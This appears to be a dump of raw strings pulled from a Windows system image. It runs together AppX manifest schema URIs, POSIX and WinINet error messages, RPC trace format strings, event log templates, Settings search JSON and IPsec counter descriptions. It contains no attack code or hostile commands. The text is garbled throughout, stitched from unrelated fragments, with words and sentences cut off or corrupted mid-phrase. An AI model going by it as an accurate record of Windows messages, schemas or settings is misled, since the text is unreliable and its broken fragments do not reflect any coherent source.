Microsoft.deployFullTrustOnHost_8wekyb3d8bbwe userDataAccountsProvider console Microsoft.classicAppCompatElevated_8wekyb3d8bbwe unmanaged systemEvent audio shellExperience classic customInstallActions unvirtualizedResources wwahost.exe [Content_Types].xml AppxMetadata\CodeIntegrity.cat application/vnd.ms-pkiseccat AppxSignature.p7x application/vnd.ms-appx.signature http://schemas.microsoft.com/appx/2016/sourcecontentgroupmap s:ContentGroupMap Required s:ContentGroupMap/s:Automatic s:ContentGroupMap/s:Required/s:ContentGroup Automatic http://schemas.microsoft.com/appx/2016/contentgroupmap application/vnd.ms-appx.streammap+xml ContentGroupMap lxmlns:s application/vnd.ms-eappx Bundle application/vnd.ms-appx.bundlemanifest+xml *CopyOptionalBundles SchemaVersion http://schemas.microsoft.com/appx/manifest/serverpreview/windows10 http://schemas.microsoft.com/appx/manifest/deployment/windows10/3 http://schemas.microsoft.com/appx/manifest/iot/windows10 win10rescap uap5 http://schemas.microsoft.com/appx/manifest/uap/windows10/18 http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3 desktop9 wincap2 win10mobile desktop2 http://schemas.microsoft.com/appx/manifest/accesscontrol/windows10 http://schemas.microsoft.com/appx/manifest/types/2 previewappcompat uap12 http://schemas.microsoft.com/appx/manifest/desktop/windows10/5 http://schemas.microsoft.com/appx/2013/xbox/manifest uap13 previewappcompat3 http://schemas.microsoft.com/appx/manifest/foundation/thresholdpreview/restrictedcapabilities http://schemas.microsoft.com/appx/manifest/virtualization/windows10 http://schemas.microsoft.com/appx/manifest/uap/windows10/8 desktop http://schemas.microsoft.com/appx/manifest/desktop/windows10/9 http://schemas.microsoft.com/app Connection reset by peer%0 Software caused connection abort%0 Network is down%0 Network was reset%0 Connection refused%0 Host is down%0 Host is unreachable%0 Protocol is wrong type for socket%0 Operation not supported on socket%0 ICMP network unreachable%0 Too many references%0 Not Owner%0 No Such file or directory%0 No such process%0 Interrupted system call%0 I/O Error%0 No such device or address%0 Arg list too long%0 Exec format error%0 Bad file number%0 No children%0 Operation would block%0 Not enough memory%0 Permission denied%0 Bad address%0 Mount device or directory busy%0 File exists%0 Cross-device link%0 No such device%0 Not a directory%0 Is a directory%0 Invalid argument%0 File table overflow%0 Too many open files%0 Not a typewriter%0 File too large%0 No space left on device%0 Illegal seek%0 Read-only file system%0 Too many links%0 Broken pipe%0 Math argument%0 Result too large%0 Resource deadlock would occur%0 No message of desired type%0 Identifier removed%0 Channel number out of range%0 Level 2 not sychronized%0 Level 3 halted%0 Level 3 reset%0 Link number out of range%0 Protocol driver not attached%0 No CSI structure available%0 Level 2 halted%0 Invalid exchange%0 Invalid request descriptor%0 Exchange full%0 No anode%0 Invalid request code%0 Invalid slot%0 Bad font file format%0 Device not a stream%0 No Data%0 Timer expired%0 Out of Streams resources%0 Machine is not on the network%0 Package not installed%0 The object is remote%0 The link has been severed%0 Advertise error%0 Srmount error%0 Communication error on send%0 Protocol error%0 Multihop attempted%0 Inode is remote%0 Cross mount point%0 Trying to read unreadable message%0 Given log name not unique%0 Remote sted operation The request cannot be made on a Proxy session The registry value could not be found The registry parameter is incorrect Direct Internet access is not available No context value was supplied No status callback was supplied There are outstanding requests The information format is incorrect The requested item could not be found A connection with the server could not be established The connection with the server was terminated abnormally The connection with the server was reset The action must be retried The proxy request is invalid User interaction is required to complete the operation The handle already exists The date in the certificate is invalid or has expired The host name in the certificate is invalid or does not match A redirect request will change a non-secure to a secure connection A redirect request will change a secure to a non-secure connection Mixed secure and non-secure connections Changing to non-secure post Data is being posted on a non-secure connection A certificate is required to complete client authentication The certificate authority is invalid or incorrect Client authentication has not been correctly installed An error has occurred in a Wininet asynchronous thread. You may need to restart The protocol scheme has changed during a redirect operation There are operations awaiting retry The operation must be retried There are no new cache containers A security zone check indicates the operation must be retried The SSL certificate contains errors. It was not possible to connect to the revocation server or a definitive response could not be obtained. The requested header was not found The server does not support the requested protocol level The server returned an invalid or unrecognized response The supplied HTTP header is invalid The request for a HTTP header is invalid The HTTP header already exists The HTTP uspended %p Set %p's client appears to have died SETID:%I64X No set or has been pinged SETID:%I64X Ran down SETID:%I64X Did not run down SETID:%I64X tthis:%p, SID:%!sid! this:%p %!WINERROR! tthis:%p, OXID:%I64x PID:%x %ws this:%p Insert:%p list timeout:%d ple timeout:%d this:%p Remove:%p Failed to open handle to PID %x (%!WINERROR!) this:%p PID:%x %ws GUID:%!GUID! this:%p PID:%x %ws OXID:%I64X this:%p PID:%x %ws GUID:%!GUID! Cookie:%d this:%p PID:%x %ws ACID:%ws! Cookie:%d this:%p PID:%x %ws ACID:%ws Cookie:%d Unable to find LRPC bindings this:%p PID:%x %ws Local string binding missing endpoint this:%p PID:%x %ws %ws this:%p PID:%x %ws %ws this:%p PID:%x %ws %!HRESULT! Found protseq in local bindings this:%p PID:%x %ws %d Found non-LRPC for modern app this:%p PID:%x %ws GetCustomProtseqInfo this:%p PID:%x %ws %!WINERROR! Found protseq in custom bindings this:%p PID:%x %ws %d Found protseq in standard bindings this:%p PID:%x %ws %d Could not matching protseq this:%p PID:%x %ws %d UseProtseq this:%p PID:%x %ws %!WINERROR! UseProtseq invalid dsa this:%p PID:%x %ws TCP port this:%p PID:%x %ws %d TCP port this:%p PID:%x %ws %!GUID! TCP port this:%p PID:%x %ws %!GUID! %d %!HRESULT! OpenProcess Error %!HRESULT! ReadProcessMemory Error %!HRESULT! ReadProcessMemory incorrect number of bytes read %!HRESULT! Invalid AMCACH~1.REG Amcache.hve{ca41906b-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000001.regtrans-ms AMCACH~2.REG Amcache.hve{ca41906b-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000002.regtrans-ms 1.3.221.3 13221~1.3 $I300 $I30 $I30 MSC3FB~1.DLL.dl msedgeupdateres_cs.dll $I30 $I30 MICROS~1.EXE MicrosoftEdgeUpdate.exe .dll txyewy4 vent Data Name UserName Data Name ErrorDescription Data Name ResultCode UserName ErrorDescription ResultCode EventData Name ImpersonationFailureEvent Data Name Context Data Name ResultCode Context ResultCode EventData Name TaskRegisteredEvent Data Name TaskName Data Name UserContext TaskName UserContext EventData Name TimeTriggerEvent Data Name TaskName Data Name InstanceId TaskName InstanceId EventData Name EventTriggerEvent Data Name TaskName Data Name InstanceId TaskName InstanceId EventData Name RegistrationTriggerEvent Data Name TaskName Data Name InstanceId TaskName InstanceId EventData Name TaskRunEvent Data Name TaskName Data Name InstanceId Data Name UserContext TaskName InstanceId UserContext EventData Name TaskTerminationEvent Data Name TaskName Data Name InstanceId TaskName InstanceId EventData Name TaskNoStartWithoutNetwork Data Name TaskName TaskName EventData Name !TaskRegisteredWithoutSomeTriggers Data Name TaskName Data Name ResultCode TaskName ResultCode EventData Name MissedTaskLaunched Data Name TaskName Data Name InstanceId TaskName crosoft.WindowsStore_225 notify wait product identity notify wait time format milliseconds door open door closed audio left right video sysinfo notify wait quantity open installname name break notify wait sound notify wait save notify wait load notify wait resume notify wait play notify wait from fast slow speed reverse scan seek notify wait reverse to start to end spin notify wait down step notify wait reverse notify wait time format milliseconds frames track door open door closed audio left right video status notify wait position length number of tracks mode media present speed forward media type ready side disc size time format current track track start capability notify wait can record has audio has video device type uses files compound device can eject can reverse can play can save fast play rate slow play rate normal play rate escape notify wait open notify wait type element alias shareable buffer status notify wait position length number of tracks media present mode format tag channels samplespersec bytespersec alignment bitspersample input output level ready time format current track track start notify wait any input any output time format milliseconds bytes samples audio left right video door open door closed input output format tag channels Migration process cancelled during catalog idle wait. Migration process cancelled during item processing. Windows.System.Threading.ThreadPoolTimer Windows.System.Power.PowerManager onecoreuap\base\appmodel\Search\common\include\SemanticVectorHelper.h Total duration to cocreate wsaifabricsvc %u GetTimerDelay : Using shorter timer delay. SOFTWARE\Microsoft\Windows Search\SemanticIndexer\ModelsPreloadTimerFinished onecoreuap\base\appmodel\search\tquery\tripolipi\semanticsearchmodelspreloader.cpp SemanticSearchModelsPreloader::CheckAndLoadModels : EnergySaver off SemanticSearchModelsPreloader::StartTimer SemanticSearchModelsPreloader::CheckAndLoadModels : EnergySaver on [Regex] Undefined transition from %u on %u [Query] Invalid regex: Repeat count %d too big. [Query] Invalid regex: No end to repeat specification. [Query] Growing DFA state array. [Regex] Adding transition from %u on %u to %u [Regex] Range %u to %u [Regex] Singleton = %u [Query] Invalid regex: End repeat count %d < start %d [Regex] RANGE [Query] Invalid regex. Nothing to repeat. [Query] Invalid regex: Repeat count %d out of bounds. [Query] Invalid regex. Nothing to repeat [Query] Invalid regex. Nothing to repeat. [Query] Invalid regex (%wc at end of string [Query] ERROR: regex string value of 0 [Regex] REPEAT: Exactly %u times [Regex] REPEAT: At least %u times [Query] Invalid regex. Missing %wc [Query] Invalid regex: Nested repeats? [Query] Growing NFA State transition array. onecoreuap\base\appmodel\search\tquery\xpr\state.cxx onecoreuap\base\appmodel\search\tquery\xpr\xlatchar.cxx WIN://SYSAPPID Clipchamp.Clipchamp_yxz26nhyzhsrt WIN://SYSAPPID Clipchamp.Clipchamp_yxz26nhyzhsrt WIN://SYSAPPID WIN://SYSAPPID Microsoft.ApplicationCompatibilityEnhancements_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.ApplicationCompatibilityEnhancements_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.ApplicationCompatibilityEnhancements_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bb ate store failed. Retrieving the state version for the application failed. Setting the state version for the application failed. Resetting the structured state of the application failed. State Manager failed to open the container. State Manager failed to create the container. State Manager failed to delete the container. State Manager failed to read the setting. State Manager failed to write the setting. State Manager failed to delete the setting. State Manager failed to query the setting. State Manager failed to read the composite setting. State Manager failed to write the composite setting. State Manager failed to enumerate the containers. State Manager failed to enumerate the settings. The size of the state manager composite setting value has exceeded the limit. The size of the state manager setting value has exceeded the limit. The length of the state manager setting name has exceeded the limit. The length of the state manager container name has exceeded the limit. This API cannot be used in the context of the caller's application type. This PC does not have a valid license for the application or product. The authenticated user does not have a valid license for the application or product. The commerce transaction associated with this license is still pending verification. The license has been revoked for this user. The underlying file was converted to compound file format. The storage operation should block until more data is available. The storage operation should retry immediately. The notified event sink will not influence the storage operation. Multiple opens prevent consolidated. (commit succeeded). Consolidation of the storage file failed. (commit succeeded). Consolidation of the storage file is inappropriate. (commit succeeded). The device needs to be power cycled. (commit succeeded). Use the registry database to provide the requested information Success, but ve the existing package with the conflicting mutable package directory. The package installation failed because a singleton resource was specified and another user with that package installed is logged in. Please make sure that all active users with the package installed are logged out and retry installation. The package installation failed because a different version of the service is installed. Try installing a newer version of the package. The package installation failed because a version of the service exists outside of APPX packaging. Please contact your software vendor. The package installation failed because administrator privileges are required. Please contact an administrator to install this package. The package deployment failed because the operation would have redirected to default account, when the caller said not to do so. The package deployment failed because the package requires a capability to natively target this host. The package deployment failed because its content is not valid for an unsigned package. The package deployment failed because its publisher is not in the unsigned namespace. The package deployment failed because its publisher is not in the signed namespace. The package deployment failed because it must allow external content to be deployed with an external location. A host runtime dependency resolving to a package with full trust content requires the main package to have the runFullTrust capability. The package deployment failed because the package requires a capability for mandatory startup tasks. Package failed host runtime dependency or conflict validation. The package deployment failed because it uses a machine scope but doesn't have the required capability. The package deployment failed because it uses classic compatmode but doesn't have the required capability. AppxUpdateAgent attempted to stage a package that is not applicable. The application cannot be started for the target user. Please have the usion ID as this optional package. Change the application ID for the optional package to avoid conflicts. This staging session has been held to allow another staging operation to be prioritized. A related set cannot be updated because the updated set is invalid. All packages in the related set must be updated at the same time. An optional pa e with a st entry equi PureWorkItems SystemWorkItems Flags CycleTime NetworkTokens EventData Data Name ApplicationId Data Name SessionId Data Name PsmKey Data Name Flags Data Name CycleTime Data Name NetworkTokens ApplicationId SessionId PsmKey Flags CycleTime NetworkTokens EventData Data Name ApplicationId Data Name SessionId Data Name PsmKey Data Name PlmRequestedPriority Data Name EffectivePriority ApplicationId SessionId PsmKey PlmRequestedPriority EffectivePriority EventData Data Name ApplicationId Data Name SessionId Data Name PsmKey Data Name ActivationFlags Data Name HostId ApplicationId SessionId PsmKey ActivationFlags HostId Microsoft-Windows-ProcessStateManager win:Info win:DC_Stop win:Informational StateChange PolicySuspend PolicyResume PriorityChange Rundown ProcessRegister StateChange Policy PriorityChange Rundown ProcessRegister WEVT_TEMPLATE en-US age was in an invalid state. This app failed to launch, but the error was handled with a dialog. Property value will be ignored. The request will be completed later by NDIS status indication. The device had pending page requests which were discarded. The troubleshooting pack cannot be executed on this system. The function call is completing asynchronously. There are no more messages available on the channel. The graph data was created. There is not more event data. No connectivity. Already a member. The graph is already connect. The subscription already exists. The transaction caller id has changed. The storage pool was deleted by the driver. The object cache should be updated. The Present operation was invisible to the user. The Present operation was partially invisible to the user. The driver is requesting that the DXGI runtime not use shared resources to communicate with the Desktop Window Manager. The Present operation was not visible because the Windows session has switched to another desktop (for example, ctrl-alt-del). The Present operation was not visible because the target monitor was being used for some other purpose. The Present operation was not visible because the display mode changed. DXGI will have re-attempted the presentation. The Present operation was not visible because another Direct3D device was attempting to take fullscreen mode at the time. The swapchain has become unoccluded. The adapter did not have access to the required resources to complete the Desktop Duplication Present() call, the Present() call needs to be made again The present succeeded but the caller should present again on the next V-sync, even if there are no changes to the content. Specified buffer is not big enough to contain entire requested dataset. Partial data populated up to the size of the buffer. Caller needs to provide buffer of size as specified in the partially populated buffer's content (interface sp. The recipient rejected the renegotiation request. The returned buffer is only a fragment of the message. More fragments need to be returned. The function completed successfully, but must be called again to complete the context. Early start can be used. An asynchronous SSPI routine has been called and the work is pending completion. The protected data needs to be re-protected. Enrollment was suspended. Debugger was attached. Report was uploaded. Report was queued. Reporting was disabled. Reporting was temporarily suspended. Report was not queued to queuing being disabled. Report was uploaded, but not archived due to archiving being disabled. Report was successfully operation. The n was L ndled and added to a permanent i e list. The assertion was resumed as unhandled. Report was throttled. Report was uploade ompl ot b ce f et, Specified co t transf rned. {GDI r ecti ter or in sy mem ection s ce is either on a di stem memory. Perform blt via GDI A certificate is already prese ched ins tran ully aborted is a e th port abo em.Reflection.Emit System.Reflection.Emit.ILGeneration System.Reflection.Emit.Lightweight System.Reflection.Extensions System.Reflection.Metadata System.Reflection.Primitives System.Reflection.TypeExtensions System.Resources.Reader System.Resources.ResourceManager System.Runtime.CompilerServices.VisualC System.Runtime System.Runtime.Extensions System.Runtime.H Cryptography.Cng APPXDE~3.DLL AppXDeploymentServer.dll WofCompressedData $DSC AppxPackaging.dll APPXPA~1.DLL AppxPackaging.dll WofCompressedData $DSC $DSC APPXPA~1.DLL AppxPackaging.dll WofCompressedData $DSC APPXPA~1.DLL AppxPackaging.dll AppxPackaging.dll WofCompressedData $DSC cros Wind tore_225 App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca WinStore.App App.AppXe9cvj1thv1hmcw0cs98xm3r97tyzy2xs.mca WinStore.Tasks.PreInstallRegisterTask App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca Windows.ApplicationModel.Core.DefaultInProcBackgroundTask App.AppXe9cvj1thv1hmcw0cs98xm3r97tyzy2xs.mca WinStore.Tasks.StoreDbUpdaterTask App.AppXe9cvj1thv1hmcw0cs98xm3r97tyzy2xs.mca WinStore.Tasks.DigitalAttachDiscoveryTask App.AppXe9cvj1thv1hmcw0cs98xm3r97tyzy2xs.mca cMicrosoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat ZMicrosoft-Windows-Multimedia-MF-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat Disconnected Event Notified Network Property Event Notified Public Private Domain Authenticated Unmanaged Managed MibAddInstance MibDeleteInstance NlnsUnreachable NlnsIncomplete NlnsStale NlnsDelay NlnsProbe NlnsReachable NlnsPermanent NlnsMaximum DHCPCAPI_ADDR_STABLE DHCPCAPI_ADDR_NOT_STABLE_ACQ DHCPCAPI_ADDR_NOT_STABLE_DONE DHCPCAPI_ADDR_NOT_STABLE_ACQ_CONT NLA_STABLE_UNKNOWN NLA_STABLE_STABLE NLA_STABLE_GAVE_UP NLA_STABLE_TRYING LDAP has had no previous successes with the current combination of adapter addresses This is the first LDAP attempt ever and a speculative timeout occurred DS validation failed; there may not be a DC available on this network Connected Disconnected IPV4 (Local) IPV4 (Internet) IPV6 (Local) IPV6 (Internet) DS_FORCE_REDISCOVERY DS_IS_FLAT_NAME DS_IS_DNS_NAME DS_RETURN_DNS_NAME DS_RETURN_FLAT_NAME NLA_SIGNATURE_SOURCE_UNIDENTIFIED NLA_SIGNATURE_SOURCE_IDENTIFYING NLA_SIGNATURE_SOURCE_RANDOM NLA_SIGNATURE_SOURCE_GATEWAY_MAC NLA_SIGNATURE_SOURCE_DOMAIN_GUID NLA_SIGNATURE_SOURCE_ROOT_DOMAIN_GUID NLA_SIGNATURE_SOURCE_DOMAIN_NAME NLA_SIGNATURE_SOURCE_FOREST_NAME NLA_SIGNATURE_SOURCE_DNS_SUFFIX NLA_SIGNATURE_SOURCE_LOCAL_INTERFACE_ID NLA_SIGNATURE_SOURCE_WLAN_SSID NLA_SIGNATURE_SOURCE_WLAN_PROFILE NLA_SIGNATURE_SOURCE_WWAN NLA_SIGNATURE_SOURCE_SECURITY_DOWNGRADE NLA_SIGNATURE_SOURCE_PRIVATE NLA_SIGNATURE_SOURCE_SECONDARY VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Network Profile Service DLL FileVersion 10.0.26100.1 (WinBuild.160101.0800) InternalName Network Profile Service DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename netprofmsvc.dll.mui ProductName Microsoft Windows Operating System ProductVersion 10.0.26100 3++S tem.Setting.GroupID":"SettingsGroupAudioOutputDevices"}],"System.Comment":"Manage output sound devices","System.HighKeywords":"sound settings;audio settings;audio output devices;manage audio devices;sound device;audio devices;disable audio;disable sound;enable audio;test audio;test sound"},{"System.ParsingName":"AAA_SystemSettings_Audio_Output_VolumeValue","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageAudio","System.Setting.SettingID":"SystemSettings_Audio_Output_VolumeValue","System.Setting.GroupID":"SettingsGroupSoundOptions"}],"System.Comment":"Audio output volume control","System.HighKeywords":"volume output;manage output volume;control input volume;manage output audio;mute sound;speaker volume"},{"System.ParsingName":"AAA_SystemSettings_Audio_Soundscape","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageAudio","System.Setting.SettingID":"SystemSettings_Audio_Soundscape","System.Setting.GroupID":"SettingsGroupOtherSoundOptions2"}],"System.Comment":"Soundscape settings","System.HighKeywords":"change system sounds;change startup sound;change sound scheme;change audio events"},{"System.ParsingName":"AAA_SystemSettings_Autoplay_IsEnabled","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPagePCSystemAutoPlay","System.Setting.SettingID":"SystemSettings_Autoplay_IsEnabled","System.Setting.GroupID":"SettingsGroupAutoplay"}],"System.Comment":"Turn AutoPlay on or off","System.HighKeywords":"autoplay settings"},{"System.ParsingName":"AAA_SystemSettings_BatterySaver_LandingPage_BatteryCapacity","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPagePowerAndBattery","System.Setting.SettingID":"SystemSettings_BatterySaver_LandingPage_BatteryCapacity","System.Setting.GroupID":"SettingsGroupBatteryCapacity"}],"Syst omment":"Lower keyboard brightness when using energy saver","System.HighKeywords":"keyboard backlight;battery saver"},{"System.ParsingName":"AAA_SystemSettings_BatterySaver_SleepTime2","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPagePowerAndBattery","System.Setting.SettingID":"SystemSettings_BatterySaver_SleepTime2","System.Setting.GroupID":"BatterySaver_UsagePage_AppsBreakdown"}],"System.Comment":"View recent sleep time","System.HighKeywords":"asleep time;suspended time;hibernating time"},{"System.ParsingName":"AAA_SystemSettings_CapabilityAccess_AccountInfo_SystemGlobal","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPagePrivacyAccountInfo","System.Setting.SettingID":"SystemSettings_CapabilityAccess_AccountInfo_SystemGlobal","System.Setting.GroupID":"SystemSettings_CapabilityAccess_AccountInfo_SystemGlobal_Group"}],"System.Comment":"Turn off access to account info systemwide","System.HighKeywords":"privacy settings;account info settings;account info privacy settings;account information settings;account information privacy settings;account info permissions;account information permissions;app permissions"},{"System.ParsingName":"AAA_SystemSettings_CapabilityAccess_AccountInfo_UserGlobal","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPagePrivacyAccountInfo","System.Setting.SettingID":"SystemSettings_CapabilityAccess_AccountInfo_UserGlobal","System.Setting.GroupID":"SystemSettings_CapabilityAccess_AccountInfo_SystemGlobal_Group"}],"System.Comment":"Turn off access to account info for all apps","System.HighKeywords":"privacy settings;account info settings;account info privacy settings;account information settings;account information privacy settings;account info permissions;account information permissions;app permissions"},{"System.ParsingName":"AAA_SystemSettings_CapabilityAccesg.PageID":"SettingsPageTaskbar","System.Setting.SettingID":"SystemSettings_DesktopTaskbar_XdrNotification","System.Setting.GroupID":"SettingsGroupTaskbarItems"}],"System.Comment":"Show app icon when hand off is available","System.HighKeywords":"handoff settings;continuity settings;handoff phone settings;phone continuity settings;resume from phone settings;continue from phone settings;handoff apps from phone settings;cross device resume from phone settings"},{"System.ParsingName":"AAA_SystemSettings_Developer_DeveloperVolume_AntivirusMode","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageAdvancedSystemSettings","System.Setting.SettingID":"SystemSettings_Developer_DeveloperVolume_AntivirusMode","System.Setting.GroupID":"Settings_Developer_DeveloperVolumeSettingsGroup"},{"System.Setting.PageID":"SettingsPageRestoreDeveloperOptionsInSystemPageRejuv","System.Setting.SettingID":"SystemSettings_Developer_DeveloperVolume_AntivirusMode","System.Setting.GroupID":"Settings_Developer_DeveloperVolumeSettingsGroup"}],"System.Comment":"View Dev Drive antivirus behavior","System.HighKeywords":"dev drives;dev antivirus;microsoft defender antivirus"},{"System.ParsingName":"AAA_SystemSettings_Developer_DeveloperVolume_Collection","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageAdvancedSystemSettings","System.Setting.SettingID":"SystemSettings_Developer_DeveloperVolume_Collection","System.Setting.GroupID":"Settings_Developer_DeveloperVolumeSettingsGroup"},{"System.Setting.PageID":"SettingsPageRestoreDeveloperOptions stemPageRejuv","Syst on", pID" ttings_Devel eloperVolumeSettingsGr p"}],"System.Comment":"View Dev Driv HighKeywords ;dev er drive;dev ettingID":"SystemSettings_Connections_InternetSharingEnabled","System.Setting.GroupID":"Settings_Group_InternetSharingSettings"}],"System.Comment":"Turn on mobile hotspot to share internet with other devices","System.HighKeywords":"tethering;share cellular data;share connection;share network;turn off mobile hotspot"},{"System.ParsingName":"AAA_SystemSettings_Connections_InternetSharingRemoteStart","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageNetworkMobileHotspot","System.Setting.SettingID":"SystemSettings_Connections_InternetSharingRemoteStart","System.Setting.GroupID":"Settings_Group_InternetSharingSettings"}],"System.Comment":"Allow another device to turn on mobile hotspot","System.HighKeywords":"data settings;cellular data settings;mobile settings;mobile data settings;internet settings;network settings;hotspot settings;mobile hotspot settings"},{"System.ParsingName":"AAA_SystemSettings_Connections_NetworkMoreInfoLink","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageNetworkManageAdapterOptions","System.Setting.SettingID":"SystemSettings_Connections_NetworkMoreInfoLink","System.Setting.GroupID":"Settings_Group_Network_Adapter_Additional_Settings"}],"System.Comment":"View your network properties","System.HighKeywords":"internet settings;network status;network settings"},{"System.ParsingName":"AAA_SystemSettings_Connections_Network_DataUsage","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageNetworkManageAdapterOptions","System.Setting.SettingID":"SystemSettings_Connections_Network_DataUsage","System.Setting.GroupID":"Settings_Group_Network_Adapter_Additional_Settings"}],"System.Comment":"Data usage overview","System.HighKeywords":"data plan;plan;limit;set plan;set limit;edit plan;edit limit;change limit;data limit;data settings;sense;Data Sense"},{"System.ParsingName":"AAA_SystemSettings_Connections_PushButtonReset","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageNetworkManageAdapterOptions","System.Setting.SettingID":"SystemSettings_Connections_PushButtonReset","System.Setting.GroupID":"Settings_Group_Network_Adapter_Additional_Settings"}],"System.Comment":"Network reset","System.HighKeywords":"network settings"},{"System.ParsingName":"AAA_SystemSettings_Connections_Wifi_Adapter_List","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageNetworkWiFi","System.Setting.SettingID":"SystemSettings_Connections_Wifi_Adapter_List","System.Setting.GroupID":"SettingsGroupNetworkWifi"}],"System.Comment":"Discover Wi-Fi networks","System.HighKeywords":"internet settings;network settings;wifi settings;wi-fi settings;wlan settings"},{"System.ParsingName":"AAA_SystemSettings_Connections_Wifi_Randomization_Toggle","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageNetworkWiFi","System.Setting.SettingID":"SystemSettings_Connections_Wifi_Randomization_Toggle","System.Setting.GroupID":"SettingsGroupNetworkWifi"}],"System.Comment":"Use random hardware addresses","System.HighKeywords":"internet settings;network settings;wifi settings;wi-fi settings;MAC address settings"},{"System.ParsingName":"AAA_SystemSettings_Cortana_WindowsSearch_AddExclusion","System.Setting.FontFamily":"Settings Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageRationalizedSearchSettings","System.Setting.SettingID":"SystemSettings_Cortana_WindowsSearch_AddExclusion","System.Setting.GroupID":"CortanaSettingsPageGroupWindowsSearch_IndexerPerformance"},{"System.Setting.PageID":"SettingsPageSearchIndex","System.Setting.SettingID":"SystemSettings_Cortana_WindowsSearch_AddExclusion","System.Setting.GroupID":"CortanaSettingsPageGroupWindowsSearch_Exclusions"}],"System.Comment":"Exclude folders from being indexed","System.HighKeywords":"indexing settings;indexing options;windows indexer;indexer;search settings;Windows search;excluded folders"},{"System.ParsingName":"AAA_SystemSettings_Cortana_WindowsSearch_FindMyFiles","System.Setting.FontFamily":"Settings Fluent Icons","System.Setting.Glyph":" ","SettingPaths":[{"System.Setting.PageID":"SettingsPageRationalizedSearchSettings","System.Setting.SettingID":"SystemSettings_Cortana_WindowsSearch_FindMyFiles","System.Setting.GroupID":"CortanaSettingsPageGroupWindowsSearch_IndexerPerformance"},{"System.Setting.PageID":"SettingsPageSearchIndex","System.Setting.SettingID":"SystemSettings_Cortana_WindowsSearch_FindMyFiles","System.Setting.GroupID":"CortanaSettingsPageGroupWindowsSearch_IndexerPerformance"}],"System.Comment":"Choose which files and folders are indexed","System.HighKeywords":"indexing settings;indexing options;windows indexer;indexer;search settings;Windows search;find my files;find files;enhanced search"},{"System.ParsingName":"AAA_SystemSettings_DateTime_DateTimeFormats","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Gl Setting.Pa ID":"SettingsPageTim ":"Sys tions per Second is the rate of quick mode negotiations completed. 11609 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11611 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11613 Active Extended Mode SAs is the number of currently active extended mode security associations. 11615 Pending Extended Mode Negotiations is the number of pending extended mode negotiations. 11617 Extended Mode Negotiations is the number of extended mode negotiations attempted since IPsec was last started. 11619 Extended Mode Negotiations per Second is the rate at which extended mode negotiations are being attempted. 11621 Successful Extended Mode Negotiations is the number of extended mode negotiations completed since IPsec was last started. 11623 Successful Extended Mode Negotiations per Second is the rate of extended mode negotiations completed. 11625 Failed Extended Mode Negotiations is the number of failed extended mode negotiations since IPsec was last started. 11627 Failed Extended Mode Negotiations per Second is the rate of failed extended mode negotiations. 11629 Extended Mode SAs That Used Imper s the completed P rted. tion the set of @ rnet Protocol security (IP c) counters that apply to IPsec encapsulated connections. otal number of c nnec wApp ze-3 etsi ppList. arty2c2-49b6-98a6-444530e5a77a3290-751554359-3541592344-2312209569-3374928651 http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651 S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651 arty2c2-49b6-98a6-444530e5a77a3290-751554359-3541592344-2312209569-3374928651 http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd 